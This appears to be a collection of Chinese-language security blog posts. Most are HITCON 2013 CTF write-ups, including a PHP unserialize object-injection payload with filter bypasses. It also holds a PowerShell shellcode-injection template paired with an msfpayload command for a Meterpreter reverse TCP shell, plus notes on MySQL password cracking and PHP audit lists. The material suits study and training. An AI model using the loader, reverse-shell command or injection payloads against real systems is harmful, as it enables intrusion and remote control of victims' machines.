HITCON2013 解題 - Roulette5

前面HackStuff的其他成員已經幫我把Dark.rar裡面的東西解完了,真的好黑暗的壓縮檔,最好在ram disk下弄,不然很傷 QAQ
當你解完100層之後會看到一張嘲諷臉,告訴你還沒完,接下來的壓縮檔名很關鍵,4D.rar 5A.rar 90.rar 00.rar,
好熟悉阿,這不是WindowsPE的header嗎?

HITCON2013 解題 - Web5

因為 Wargame 關了  把還記得的部分寫上來。
這題還蠻有趣的
是關於 PHP 的 object injection,主要是 unserialize 出了問題。





















http://pastebin.com/pykQL896  chall.phps 原始碼


首先,這題有三個保護
一:bypass md5
  1. $checksum = $_COOKIE['checksum'];
  2. if ( @md5($checksum) == '' ) {
這邊要輸入一個可以通過檢查的 checksum cookie
不然程式會一直跳到 FakeKey 那邊進行讀取。
查了一下 md5 函數不管輸入怎樣的字串都不會回應 '' 空值,因此是要使它出錯
利用 firefox cookie editor 插入 checksum[] =  利用塞入陣列方式讓其出錯就可以了。

二:encrypt & bypass safe function
  1. base64_decode( $auth_str );
  2.     $auth_str = mcrypt_decrypt

因此要自己進行一次 base64_encode 跟 mcrypt_encrypt
而Safe function有一些regular expression要bypass
  1.     if ( is_string( $s ) && strpos( $s, "\0" ) === false ) {
  2.         if ( strpos( $s, 'O:' ) === false ) {
  3.             return true;
  4.         } else if ( ! preg_match('/(^|;|})s:[+\-0-9]+:"/', $s ) ) {
  5.             return true;
  6.         }
由於下面產出來的 payload 最後長這樣  'O:3:"qoo":1:{S:7:"key_var";S:3:"Key";}';
由於過濾了s(字串),這邊改成大寫S就過了
然後base64的字串會出現+號,用urlencode繞過即可。

三:utilize unserialize php object injection
https://www.owasp.org/index.php/PHP_Object_Injection
查閱 OWASP 文件後,可以知道 PHP 在處理反序列化(unserialize)的時候有 bug
如果在上面有宣告物件,它在unserialize的時候會自動的執行類似
function __destruct(){
這樣的函數

我們看一下原始碼
  1.  $cookie_key  =  "◢▆▅▄▃崩╰(〒皿〒)╯潰▃▄▅▇◣";
  2.  $iv          =  "00000000";

  3. class qoo{
  4.     var $key_var = "FakeKey";
  5.     function __construct(){}
  6.  
  7.     function __destruct(){
  8.         $keyfile = $this->key_var . ".php";
  9.         $keyfile = basename( $keyfile );
  10.  
  11.         include( $keyfile );
  12.  
  13.         print $key;
  14.     }

  15. }

  1.     $auth_str = $_COOKIE['auth_str'];
  1.         unserialize( $auth_str );

如果沒有第二步的檢查,一般的 object 注入方法是
建構一個跟上面一樣的 class qoo,加入要覆蓋的 key_var,然後將這個 class serialize 序列化
<?php
class qoo{
    var $key_var = "Key";
}

$class = new qoo();
$class_ser = serialize($class);
print_r($class_ser);
?>

將 payload $class_ser   'o:3:"qoo":1:{s:7:"key_var";s:3:"Key";}';  unserialize
就會觸發 qoo 的 __destruct
同時會覆蓋區域變數 key_var,這樣就可以讀到 Key.php 了。

HITCON2013 解題 - Forensics2

file link

摁,pptx,HIT的圖片和一個link
事情怎麼可能這麼簡單?
docx, xlsx, pptx…等等的格式其實是zip壓縮檔 + xml格式文件,所以就把它解壓縮吧!
東找找西找找之後你發現ppt/media/image2.png這裡有個無敵數位黨證,事情當然也沒有這麼簡單,它除了無敵數位黨證之外,還包含了你的key,圖片內含key?用Notepad++看一下之後好像沒什麼發現,那應該是圖片+壓縮檔的方式吧
什麼?有密碼?猜吧。HIT, HITCON, HITCON2013, HIT2013,終於現出原形了!

HITCON2013 解題 - Forensics1

檔案連結
這題拜 HackThisSite Realistic 15 所賜,直接秒解 XD
Youtube 影片

在hitcon.org上找到圖檔後直接下影片中的參數得key。

HITCON2013 解題 - Web1 & Web2 & Web3

Web 1
wargame link

第一直覺:看Source
果不其然,馬上看到了可疑的東西…
第101行的地方,有一段用aaencode (http://utf-8.jp/public/aaencode.html ) 混淆過的JS Code,貼到Console執行就秒殺第一題了

Web 2
wargame link

負數
read.php?pos=-1
$offset = ($_REQUEST['pos'] - 1 ) * 128 + 32 ;
$offset = -224;

讀取 _DIR 負的起始點開始讀取
一直到
if ( @$fpstr[$j] == "\x00"){break;}

構造 _DIR內容為
/var/www/c/key.php

所以第一篇文章 title
是 /var/www/c/key.php

Web 3

wargame link
code連結
關鍵在favicon.ico,請從各個角度觀看,就會發現驗證碼..

powershell+shellcode

執行shellcode的模板
$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = SHELLCOD;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
紅色標示的地方是要替換的
我們用msf生成我們的shellcode
可以先用
msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.146 LPORT=443 C | more
查看一下

[plaidctf] Crypto 100




def encrypt(m, N):
    L = numbits(m)
    random.seed()
    r = random.randint(2, N-1)
    x = pow(r, 2, N)
    y = x
    l = 0
    for k in range(0, L):
        l = l << 1
        l |= y & 1
        y = pow(y, 2, N)
    return (m ^ l, y, L)

以上的扣這個是問題的主要部份. 問題的根本建構在 Finite Field上, 隨機挑選一個數字之後, 接續的做次方運算得到下一個數字. 根據要加密文件的 bit 數量, 得到一連串的數字(Sn), 並且只取每個數字的最後一個 bit 來跟本文做 xor 運算而得到密文. 最後會給我們{密文,最後加密數字,本文長度}

舉一個簡單的例子:
  • 給一個 GF(11)的 Finite Field (也就是{0,1,2,3,4,5,6,7,8,9,10})
  • 開始的隨機數字為3.
  • 本文的binary為11010

霸氣十足::: 美化nginx autoindex

搞了好幾天..........
一般來說開了nginx autoindex 會是這蠢樣
弄好以後的霸氣模樣


快速的 MySQL 本地和远程密码破解(尚未實際測試,有興趣自行測試一下)


只看标题的浮躁用户请特别注意以下内容!!!
快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。
我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。
方法如下:
攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:

Chrome 滲透插件收集


XSS Rays
用於檢測各類型的XSS漏洞
Google Hack Data Base
連接GHDB的擴展程序
Websecurify 是一個強大的跨平台web安全測試工具
HPP Finder
用於發現潛在的HPP攻擊向量
Form Fuzzer
HTML form fuzz tester. 用於做HTML表單的FUZZ
Website Crawler 網站爬蟲
XSS ChEF
Chrome Extension Exploitation Framework一個基於Chrome滲透測試框架,你可以理解成BeEF的chrome版

PHP audit 相關整理

PHP audit 分類

1.include/require/require_once/include_once/file_get_contents
2.exec/system/popen/passthru/proc_open/pcntl_exec/shell_exec
3.eval/preg_replace/assert/call_user_func/call_user_func_array/create_function
4._GET/_POST/_COOKIE/_SERVER/_REQUEST/_ENV/php://input/getenv/
5.session/cookie
6.extract/parse_str/mb_parse_str/import_request_variables/unserialize
7.copy/rmdir/chmod/delete/fwrite/fopen/readfile/fpassthru/move_uploaded_file/
file_put_contents/unlink/upload/opendir/fgetc/fgets/ftruncate/fputs/fputcs
8.select/insert/update/delete/order by/group by/limit/in(/stripslashes/urldecode
9.confirm_phpdoc_compiled/mssql_pconnect/mssql_connect/crack_opendict/
snmpget/ibase_connect
10.echo/print/printf/vprintf/document.write/document.innerHTML/document.innerHtmlText
11.phpinfo/highlight_file/show_source
12.iconv/mb_convert_encoding

php.ini 內安全相關設定

safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
open_basedir 限制訪問
display_errors = off 顯示錯誤訊息